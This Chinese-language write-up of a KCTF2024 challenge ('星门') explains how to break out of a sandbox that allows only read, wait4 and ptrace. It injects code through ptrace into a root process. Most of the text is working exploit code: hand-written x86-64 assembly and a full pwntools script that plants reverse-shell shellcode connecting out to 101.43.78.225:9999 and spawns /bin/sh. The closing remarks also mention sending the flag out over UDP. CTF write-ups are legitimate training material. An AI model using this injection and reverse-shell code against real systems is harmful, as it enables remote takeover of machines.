KCTF2024第八题——星门 writeup
思路分析
拿到题目,是一道典型的写shellcode的题目,白名单系统调用,只允许 read,wait4 和 ptrace。
沙箱系统调用号白名单首先想到了切架构,但是它题目也有判断架构。因此就只能利用这个 ptrace 去做文章了。
其次应当考虑信息以何种方式回传,因为原进程是连write都不能用的,侧信道也没法,所以便起了一个docker环境去试试。发现启动脚本中。
1 2 3 4 5 6
| #!/bin/sh
/etc/init.d/xinetd start; sleep infinity;
|
于是选择让队友先起一个docker环境,然后观察里面可以使用的进程。
发现了进程 sleep infinity
,并且占用的 pid 始终保持 20 以内,并且脚本启动就是 root 权限,不用担心附加不上的问题。
最后要去尝试的一点就是该靶机是否出网,静态编译一个 socket 请求对外连接发现完全可行,因此考虑反弹 shell。
代码编写
反弹shell
于是开始着手写 shellcode,先写可以反弹shell的shellcode,这个shellcode是我们要注入到目标进程的。这里为了保证shellcode正确,先编译一个 demo 尝试。
反弹 shell 用汇编去描述其实也非常简单。首先,反弹shell的步骤如下:
- 起一个socket套接字
- 连接远程服务器
- 将标准输入,标准输出,标准错误描述符都重定向到这个套接字描述符。
- execve 运行一个 shell 程序。
这四个步骤分别可以对应
- socket
- connect
- dup2
- execve
这四个系统调用,稍微了解一下,把参数一传,就可以达到反弹 shell 的目的。
最终我的 shellcode 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| mov edi,1 mov rsi,rsp mov rdx,0x30 mov eax,1 syscall /*socket(AF_INET,SOCK_STREAM,0)*/ mov edi,2 mov esi,1 mov edx,0 mov eax,41 syscall
mov r14,0xe14e2b650f270002 mov r15,0x64 mov r12,rsp mov [r12],r14 mov [r12+8],r15 mov r13,r12 /*connect(sockfd,serveraddr,16)*/ mov edi,eax mov rsi,r13 mov edx,16 mov eax,42 syscall
/* dup2(fd=3, fd2=0) */ push 3 pop rdi xor esi, esi /* 0 */ /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* dup2(fd=3, fd2=1) */ push 3 pop rdi push 1 pop rsi /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* dup2(fd=3, fd2=2) */ push 3 pop rdi push 2 pop rsi /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* execve(path='/bin/sh', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x68732f6e69622f xor [rsp], rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
|
其中 dup2 和 execve 都可以用 shellcraft 生成,socket 和 connect 需要自己配参数,因为你搜网上的教程大概率都是用一堆的宏。shellcraft 似乎不支持这个,所以需要手动去看看那些宏的值是多少。
至于 0xe14e2b650f270002
这个数怎么来的,可以直接 C 编译出去再看看的,C语言的写法是
1 2 3 4 5 6
| struct sockaddr_in serverAddr; int clientSocket = socket(AF_INET, SOCK_STREAM, 0); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(9999); serverAddr.sin_addr.s_addr = inet_addr("101.43.78.225"); connect(clientSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr))
|
编译,gdb调试
得到对应 ip port
的 serverAddr
的值。
这里需要注意的是,connect
中间需要构造一个 16 字节大小的结构体,然后传指针进去。这里一开始会比较头疼,因为你可能苦于没有确定可写的地址,但是后面想到 rsp 和 rbp 所指向的值通常是可写的,就往里面去写,然后把 rbp 作为这里的第二个参数。
然后就能得到手搓的 connect 代码。
1 2 3 4 5 6 7 8 9 10 11 12
| mov r14,0xe14e2b650f270002 mov r15,0x64 mov r12,rsp mov [r12],r14 mov [r12+8],r15 mov r13,r12 /*connect(sockfd,serveraddr,16)*/ mov edi,eax mov rsi,r13 mov edx,16 mov eax,42 syscall
|
将代码注入一个 demo 进程,反弹 shell 成功
注入进程
随后我们需要写一个可以利用 ptrace 将代码注入到另一个进程的 shellcode。
这里把上面编译好的 shellcode 放到 + 0x200 的位置上,方便做循环,然后开始编写注入代码,这里本地调试就假设我们已知我们要注入的进程的 pid。
这里可以写一个被注入进程的 demo。
1 2 3 4 5 6 7 8
| #include<unistd.h> #include<stdio.h> int main(){ printf("pid=%d\n",getpid()); while(1){
} }
|
相关 ptrace 的解析,可以看我这一篇文章。首先我们要用 PTRACE_ATTACH
去附加这个进程,这里有一点很坑的地方是,它的第四个参数貌似不是 rcx 是 r10,并且用 shellcraft 生成也是这样,所以我在原有的基础上会加一句 mov r10,rcx
。
所以第一步
1 2 3 4 5 6 7 8 9
| /*save mmap start addr*/ push rdx /* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */ mov edi,0x10/*ATTACH*/ mov esi,{pid} mov rdx,0 mov rcx,0 mov eax,SYS_ptrace /* 0x65 */ syscall
|
第一句是因为调用入口时 call rdx
因此这里先保存 mmap 分配的地址,方便给下面的寄存器使用。
第二步,因为在 ptrace 附加完成之后,进程会被阻塞,所以我们可以趁这个时机将 RIP 后面的代码布置成我们上面编写的 shellcode。所以这一步需要获取 RIP 的值。
ptrace 有获取寄存器的选项,ptrace(PTRACE_GETREGS, pid, NULL, ®s);
第四个参数是指针,我们随便给一个内存区域即可,这里我用了 +0x800 的位置。
1 2 3 4 5 6 7 8 9
| mov edi,0xc /*GETREGS*/ mov esi,{pid} mov rdx,0 pop rcx push rcx add rcx,0x800 mov r10,rcx mov eax,SYS_ptrace /* 0x65 */ syscall
|
接下来是获取当前目标进程 RIP 的值,这里可以直接看结构体定义算偏移,也可以直接 gdb 起一个看看偏移,实际它在结构体的偏移是 +0x80。
1 2 3 4 5
| pop rcx push rcx add rcx,0x880 mov rdx,[rcx] /*RIP offset*/
|
接下来就用汇编写一个循环,ptrace 一次读写内存都是 8 个字节,并且需要注意的是,在写数据的时候,第四个参数不作为指针,而是直接作为一个字的数据被写入。
最后一点需要注意的是,shellcode 写入完成之后,要主动让进程脱离调试器,如果不管的话附加的进程死亡会导致被附加的进程一起死亡,shellcode不一定能被执行。
本地调试的时候可能会有一点麻烦,如果进程异常退出基本很难查到问题所在,因为一个进程不能同时被两个进程调试,因此我们需要调试附加的进程,每一次 ptrace 调用时查看返回值是否 <0,我遇到的比较多的是返回 -5,当时是一个内存写入错误,仔细一查发现是汇编代码写错了一个,导致取到了错误的地址。
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168
| from pwn import * if len(sys.argv)!=2: print('usage: exp.py pid') quit() context.arch='amd64' serveraddr=[0xe14e2b650f270002,0x0000000000000064]
p=remote('47.101.191.23',9999)
addr=0x7f0000000000 inject_shellcode=f''' /*socket(AF_INET,SOCK_STREAM,0)*/ mov edi,1 mov rsi,rsp mov rdx,0x30 mov eax,1 syscall
mov edi,2 mov esi,1 mov edx,0 mov eax,41 syscall
mov r14,0xe14e2b650f270002 mov r15,0x64 mov r12,rsp mov [r12],r14 mov [r12+8],r15 mov r13,r12 /*connect(sockfd,serveraddr,16)*/ mov edi,eax mov rsi,r13 mov edx,16 mov eax,42 syscall
/* dup2(fd=3, fd2=0) */ push 3 pop rdi xor esi, esi /* 0 */ /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* dup2(fd=3, fd2=1) */ push 3 pop rdi push 1 pop rsi /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* dup2(fd=3, fd2=2) */ push 3 pop rdi push 2 pop rsi /* call dup2() */ push SYS_dup2 /* 0x21 */ pop rax syscall
/* execve(path='/bin/sh', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x68732f6e69622f xor [rsp], rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall '''
inject_shellbytes=b'\x90'*6+asm(inject_shellcode) print('inject_shellcode: '+hex(len(inject_shellbytes))) pid=sys.argv[1] shellcode=f''' /*save mmap start addr*/ push rdx /* ptrace(request=0x10, vararg_0=0x64, vararg_1=0, vararg_2=0) */ mov edi,0x10/*ATTACH*/ mov esi,{pid} mov rdx,0 mov rcx,0 mov eax,SYS_ptrace /* 0x65 */ syscall
test ax,ax jnz fail
mov edi,0xc /*GETREGS*/ mov esi,{pid} mov rdx,0 pop rcx push rcx add rcx,0x800 mov r10,rcx mov eax,SYS_ptrace /* 0x65 */ syscall
pop rcx push rcx add rcx,0x880 mov rdx,[rcx] /*RIP offset*/ pop rcx add rcx,0x200 push rcx /*inject shellcode*/ push rdx mov rbx,0x100 loop: pop rdx pop rcx push rcx push rdx mov edi,4/*pokedata*/ mov rsi,{pid} mov r10,[rcx] mov eax,SYS_ptrace syscall pop rdx pop rcx add rcx,8 add rdx,8 push rcx push rdx sub rbx,8 test rbx,rbx jnz loop
mov edi,7 mov rsi,{pid} mov rdx,0 mov r10,0 mov eax,SYS_ptrace syscall mov edi,17 mov rsi,{pid} mov rdx,0 mov r10,0 mov eax,SYS_ptrace syscall
fail: ''' payload=asm(shellcode).ljust(0x200,b'\0')+inject_shellbytes
p.send(payload)
p.interactive()
|
当时试了一个 pid=17 就反弹成功了。
后话
其实这题解法应该挺多的,因为直接给了 root 权限,所以直接去写启动的二进制文件也不是不可以,把沙箱代码 patch 掉直接shellcode执行 sh,或者不用反弹shell,直接 orw 出了 flag udp 直接发过来也可以,总归它出网想要外带信息还是非常容易的。